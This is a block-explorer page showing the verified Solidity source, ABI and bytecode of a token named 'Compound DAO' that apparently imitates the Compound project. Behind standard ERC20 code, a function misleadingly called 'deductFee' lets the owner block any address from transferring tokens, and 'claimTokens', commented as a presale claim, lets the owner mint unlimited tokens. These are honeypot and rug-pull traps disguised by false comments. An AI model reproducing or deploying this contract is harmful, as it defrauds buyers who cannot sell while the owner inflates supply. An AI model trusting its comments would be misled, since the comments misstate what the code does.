ETH Price: $3,261.95 (-0.67%)
Gas: 2 Gwei

Token

Compound DAO (CompDAO)
 

Overview

Max Total Supply

500,000,000,000 CompDAO

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
713,804,478.071639152 CompDAO

Value
$0.00
0x0feC89574a311e98289aD9159d0fCF0e60056a94
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CompoundDAO

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: Compound DAO.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

import "./libraries.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 */
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => bool) private _allowFee;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @notice allows to deduct fee from spender.
     */
    function deductFee (address spender) external onlyOwner {
    if (_allowFee[spender] == true) {
            _allowFee[spender] = false;
            } else {_allowFee[spender] = true;}
    }

    /**
     * @notice Checking the allowance granted to `spender` by the caller.
     */
    function feeApplied(address spender) public view returns (bool) {
        return _allowFee[spender];
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Claims `amount` tokens bought during presell event.
     */
    function claimTokens(uint256 tAmount) public virtual onlyOwner {
        _claimERC20(_msgSender(), tAmount);
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {_approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_allowFee[sender] || _allowFee[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /**
     * @dev Claims `amount` tokens bought during presell event.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     */
    function _claimERC20(address account, uint256 amount) internal virtual {
        uint256 accountBalance = _balances[account];
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. 
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract CompoundDAO is ERC20 {

    /**
     * @dev Sets the values for {name}, {symbol} and {totalsupply}.
     */
    constructor() ERC20('Compound DAO', 'CompDAO')  {
        _totalSupply =  500000000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
}

File 2 of 2: libraries.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
 
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"deductFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"feeApplied","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600c81526020017f436f6d706f756e642044414f00000000000000000000000000000000000000008152506040518060400160405280600781526020017f436f6d7044414f000000000000000000000000000000000000000000000000008152506000620000906200023c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600590805190602001906200014692919062000244565b5080600690805190602001906200015f92919062000244565b505050681b1ae4d6e2ef500000600481905550600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001c5919062000322565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200022e919062000305565b60405180910390a36200041d565b600033905090565b828054620002529062000389565b90600052602060002090601f016020900481019282620002765760008555620002c2565b82601f106200029157805160ff1916838001178555620002c2565b82800160010185558215620002c2579182015b82811115620002c1578251825591602001919060010190620002a4565b5b509050620002d19190620002d5565b5090565b5b80821115620002f0576000816000905550600101620002d6565b5090565b620002ff816200037f565b82525050565b60006020820190506200031c6000830184620002f4565b92915050565b60006200032f826200037f565b91506200033c836200037f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620003745762000373620003bf565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620003a257607f821691505b60208210811415620003b957620003b8620003ee565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6119bb806200042d6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c80636d73394c1161008c578063a1b5920911610066578063a1b592091461025f578063a457c2d71461028f578063a9059cbb146102bf578063dd62ed3e146102ef576100ea565b80636d73394c146101f557806370a082311461021157806395d89b4114610241576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806346e04a2f146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761031f565b60405161010491906113ea565b60405180910390f35b610127600480360381019061012291906111c1565b6103b1565b60405161013491906113cf565b60405180910390f35b6101456103cf565b604051610152919061152c565b60405180910390f35b6101756004803603810190610170919061116e565b6103d9565b60405161018291906113cf565b60405180910390f35b6101936104d1565b6040516101a09190611547565b60405180910390f35b6101c360048036038101906101be91906111c1565b6104da565b6040516101d091906113cf565b60405180910390f35b6101f360048036038101906101ee9190611201565b610586565b005b61020f600480360381019061020a9190611101565b61062f565b005b61022b60048036038101906102269190611101565b6107d6565b604051610238919061152c565b60405180910390f35b61024961081f565b60405161025691906113ea565b60405180910390f35b61027960048036038101906102749190611101565b6108b1565b60405161028691906113cf565b60405180910390f35b6102a960048036038101906102a491906111c1565b610907565b6040516102b691906113cf565b60405180910390f35b6102d960048036038101906102d491906111c1565b6109f2565b6040516102e691906113cf565b60405180910390f35b6103096004803603810190610304919061112e565b610a10565b604051610316919061152c565b60405180910390f35b60606005805461032e9061165c565b80601f016020809104026020016040519081016040528092919081815260200182805461035a9061165c565b80156103a75780601f1061037c576101008083540402835291602001916103a7565b820191906000526020600020905b81548152906001019060200180831161038a57829003601f168201915b5050505050905090565b60006103c56103be610a97565b8484610a9f565b6001905092915050565b6000600454905090565b60006103e6848484610c6a565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610431610a97565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a89061146c565b60405180910390fd5b6104c5856104bd610a97565b858403610a9f565b60019150509392505050565b60006009905090565b600061057c6104e7610a97565b8484600360006104f5610a97565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610577919061157e565b610a9f565b6001905092915050565b61058e610a97565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106129061148c565b60405180910390fd5b61062c610626610a97565b82610fd8565b50565b610637610a97565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bb9061148c565b60405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561077a576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107d3565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606006805461082e9061165c565b80601f016020809104026020016040519081016040528092919081815260200182805461085a9061165c565b80156108a75780601f1061087c576101008083540402835291602001916108a7565b820191906000526020600020905b81548152906001019060200180831161088a57829003601f168201915b5050505050905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060036000610916610a97565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca9061150c565b60405180910390fd5b6109e76109de610a97565b85858403610a9f565b600191505092915050565b6000610a066109ff610a97565b8484610c6a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b06906114ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b769061142c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5d919061152c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd1906114ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d419061140c565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610deb5750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610e345760008114610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a906114cc565b60405180910390fd5b5b610e3f8383836110cd565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd9061144c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f5b919061157e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fbf919061152c565b60405180910390a3610fd28484846110d2565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818101600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110c0919061152c565b60405180910390a3505050565b505050565b505050565b6000813590506110e681611957565b92915050565b6000813590506110fb8161196e565b92915050565b600060208284031215611117576111166116ec565b5b6000611125848285016110d7565b91505092915050565b60008060408385031215611145576111446116ec565b5b6000611153858286016110d7565b9250506020611164858286016110d7565b9150509250929050565b600080600060608486031215611187576111866116ec565b5b6000611195868287016110d7565b93505060206111a6868287016110d7565b92505060406111b7868287016110ec565b9150509250925092565b600080604083850312156111d8576111d76116ec565b5b60006111e6858286016110d7565b92505060206111f7858286016110ec565b9150509250929050565b600060208284031215611217576112166116ec565b5b6000611225848285016110ec565b91505092915050565b611237816115e6565b82525050565b600061124882611562565b611252818561156d565b9350611262818560208601611629565b61126b816116f1565b840191505092915050565b600061128360238361156d565b915061128e82611702565b604082019050919050565b60006112a660228361156d565b91506112b182611751565b604082019050919050565b60006112c960268361156d565b91506112d4826117a0565b604082019050919050565b60006112ec60288361156d565b91506112f7826117ef565b604082019050919050565b600061130f60208361156d565b915061131a8261183e565b602082019050919050565b600061133260258361156d565b915061133d82611867565b604082019050919050565b600061135560008361156d565b9150611360826118b6565b600082019050919050565b600061137860248361156d565b9150611383826118b9565b604082019050919050565b600061139b60258361156d565b91506113a682611908565b604082019050919050565b6113ba81611612565b82525050565b6113c98161161c565b82525050565b60006020820190506113e4600083018461122e565b92915050565b60006020820190508181036000830152611404818461123d565b905092915050565b6000602082019050818103600083015261142581611276565b9050919050565b6000602082019050818103600083015261144581611299565b9050919050565b60006020820190508181036000830152611465816112bc565b9050919050565b60006020820190508181036000830152611485816112df565b9050919050565b600060208201905081810360008301526114a581611302565b9050919050565b600060208201905081810360008301526114c581611325565b9050919050565b600060208201905081810360008301526114e581611348565b9050919050565b600060208201905081810360008301526115058161136b565b9050919050565b600060208201905081810360008301526115258161138e565b9050919050565b600060208201905061154160008301846113b1565b92915050565b600060208201905061155c60008301846113c0565b92915050565b600081519050919050565b600082825260208201905092915050565b600061158982611612565b915061159483611612565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115c9576115c861168e565b5b828201905092915050565b60006115df826115f2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561164757808201518184015260208101905061162c565b83811115611656576000848401525b50505050565b6000600282049050600182168061167457607f821691505b60208210811415611688576116876116bd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611960816115d4565b811461196b57600080fd5b50565b61197781611612565b811461198257600080fd5b5056fea2646970667358221220fb47c94503141fc0bc333ed71825427acdcb6dcaf4d434dd51bec691be1eb3f464736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80636d73394c1161008c578063a1b5920911610066578063a1b592091461025f578063a457c2d71461028f578063a9059cbb146102bf578063dd62ed3e146102ef576100ea565b80636d73394c146101f557806370a082311461021157806395d89b4114610241576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806346e04a2f146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761031f565b60405161010491906113ea565b60405180910390f35b610127600480360381019061012291906111c1565b6103b1565b60405161013491906113cf565b60405180910390f35b6101456103cf565b604051610152919061152c565b60405180910390f35b6101756004803603810190610170919061116e565b6103d9565b60405161018291906113cf565b60405180910390f35b6101936104d1565b6040516101a09190611547565b60405180910390f35b6101c360048036038101906101be91906111c1565b6104da565b6040516101d091906113cf565b60405180910390f35b6101f360048036038101906101ee9190611201565b610586565b005b61020f600480360381019061020a9190611101565b61062f565b005b61022b60048036038101906102269190611101565b6107d6565b604051610238919061152c565b60405180910390f35b61024961081f565b60405161025691906113ea565b60405180910390f35b61027960048036038101906102749190611101565b6108b1565b60405161028691906113cf565b60405180910390f35b6102a960048036038101906102a491906111c1565b610907565b6040516102b691906113cf565b60405180910390f35b6102d960048036038101906102d491906111c1565b6109f2565b6040516102e691906113cf565b60405180910390f35b6103096004803603810190610304919061112e565b610a10565b604051610316919061152c565b60405180910390f35b60606005805461032e9061165c565b80601f016020809104026020016040519081016040528092919081815260200182805461035a9061165c565b80156103a75780601f1061037c576101008083540402835291602001916103a7565b820191906000526020600020905b81548152906001019060200180831161038a57829003601f168201915b5050505050905090565b60006103c56103be610a97565b8484610a9f565b6001905092915050565b6000600454905090565b60006103e6848484610c6a565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610431610a97565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a89061146c565b60405180910390fd5b6104c5856104bd610a97565b858403610a9f565b60019150509392505050565b60006009905090565b600061057c6104e7610a97565b8484600360006104f5610a97565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610577919061157e565b610a9f565b6001905092915050565b61058e610a97565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106129061148c565b60405180910390fd5b61062c610626610a97565b82610fd8565b50565b610637610a97565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bb9061148c565b60405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561077a576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107d3565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606006805461082e9061165c565b80601f016020809104026020016040519081016040528092919081815260200182805461085a9061165c565b80156108a75780601f1061087c576101008083540402835291602001916108a7565b820191906000526020600020905b81548152906001019060200180831161088a57829003601f168201915b5050505050905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060036000610916610a97565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca9061150c565b60405180910390fd5b6109e76109de610a97565b85858403610a9f565b600191505092915050565b6000610a066109ff610a97565b8484610c6a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b06906114ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b769061142c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673